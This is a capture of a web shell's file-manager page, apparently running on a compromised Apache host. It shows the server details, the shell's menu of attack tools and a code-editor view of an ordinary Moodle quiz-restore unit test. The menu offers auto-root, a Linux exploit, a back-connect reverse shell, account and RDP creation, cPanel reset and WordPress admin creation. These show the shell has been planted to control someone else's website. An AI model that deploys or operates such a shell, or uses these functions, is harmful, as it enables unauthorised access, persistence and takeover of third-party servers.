Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.7.46
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead.aptans /
backup /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
privacy
[ DIR ]
drwxr-xr-x
async_backup_test.php
8.98
KB
-rw-r--r--
async_restore_test.php
10.97
KB
-rw-r--r--
automated_backup_test.php
15.34
KB
-rw-rw-r--
backup_cleanup_task_test.php
5.29
KB
-rw-r--r--
backup_restore_base_testcase.p...
4.02
KB
-rw-r--r--
backup_restore_permission_test...
5.63
KB
-rw-r--r--
course_copy_test.php
23.65
KB
-rw-r--r--
externallib_test.php
6.84
KB
-rw-r--r--
quiz_restore_decode_links_test...
4.09
KB
-rw-rw-r--
roles_backup_restore_test.php
6.89
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : quiz_restore_decode_links_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. namespace core_backup; defined('MOODLE_INTERNAL') || die(); // Include all the needed stuff. global $CFG; require_once($CFG->dirroot . '/course/lib.php'); require_once($CFG->dirroot . '/backup/util/includes/restore_includes.php'); require_once($CFG->dirroot . '/question/engine/tests/helpers.php'); /** * Decode links quiz restore tests. * * @package core_backup * @copyright 2020 Ilya Tregubov <mattp@catalyst-au.net> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class quiz_restore_decode_links_test extends \advanced_testcase { /** * Test restore_decode_rule class */ public function test_restore_quiz_decode_links() { global $DB, $CFG, $USER; $this->resetAfterTest(true); $this->setAdminUser(); $generator = $this->getDataGenerator(); $course = $generator->create_course( array('format' => 'topics', 'numsections' => 3, 'enablecompletion' => COMPLETION_ENABLED), array('createsections' => true)); $quiz = $generator->create_module('quiz', array( 'course' => $course->id)); // Create questions. $questiongenerator = $this->getDataGenerator()->get_plugin_generator('core_question'); $context = \context_course::instance($course->id); $cat = $questiongenerator->create_question_category(array('contextid' => $context->id)); $question = $questiongenerator->create_question('multichoice', null, array('category' => $cat->id)); // Add to the quiz. quiz_add_quiz_question($question->id, $quiz); $questiondata = \question_bank::load_question_data($question->id); $firstanswer = array_shift($questiondata->options->answers); $DB->set_field('question_answers', 'answer', $CFG->wwwroot . '/course/view.php?id=' . $course->id, ['id' => $firstanswer->id]); $secondanswer = array_shift($questiondata->options->answers); $DB->set_field('question_answers', 'answer', $CFG->wwwroot . '/mod/quiz/view.php?id=' . $quiz->cmid, ['id' => $secondanswer->id]); $thirdanswer = array_shift($questiondata->options->answers); $DB->set_field('question_answers', 'answer', $CFG->wwwroot . '/grade/report/index.php?id=' . $quiz->cmid, ['id' => $thirdanswer->id]); $fourthanswer = array_shift($questiondata->options->answers); $DB->set_field('question_answers', 'answer', $CFG->wwwroot . '/mod/quiz/index.php?id=' . $quiz->cmid, ['id' => $fourthanswer->id]); $newcm = duplicate_module($course, get_fast_modinfo($course)->get_cm($quiz->cmid)); $sql = "SELECT qa.id, qa.answer FROM {quiz} q LEFT JOIN {quiz_slots} qs ON qs.quizid = q.id LEFT JOIN {question_answers} qa ON qa.question = qs.questionid WHERE q.id = :quizid"; $params = array('quizid' => $newcm->instance); $answers = $DB->get_records_sql_menu($sql, $params); $this->assertEquals($CFG->wwwroot . '/course/view.php?id=' . $course->id, $answers[$firstanswer->id]); $this->assertEquals($CFG->wwwroot . '/mod/quiz/view.php?id=' . $quiz->cmid, $answers[$secondanswer->id]); $this->assertEquals($CFG->wwwroot . '/grade/report/index.php?id=' . $quiz->cmid, $answers[$thirdanswer->id]); $this->assertEquals($CFG->wwwroot . '/mod/quiz/index.php?id=' . $quiz->cmid, $answers[$fourthanswer->id]); } }
Close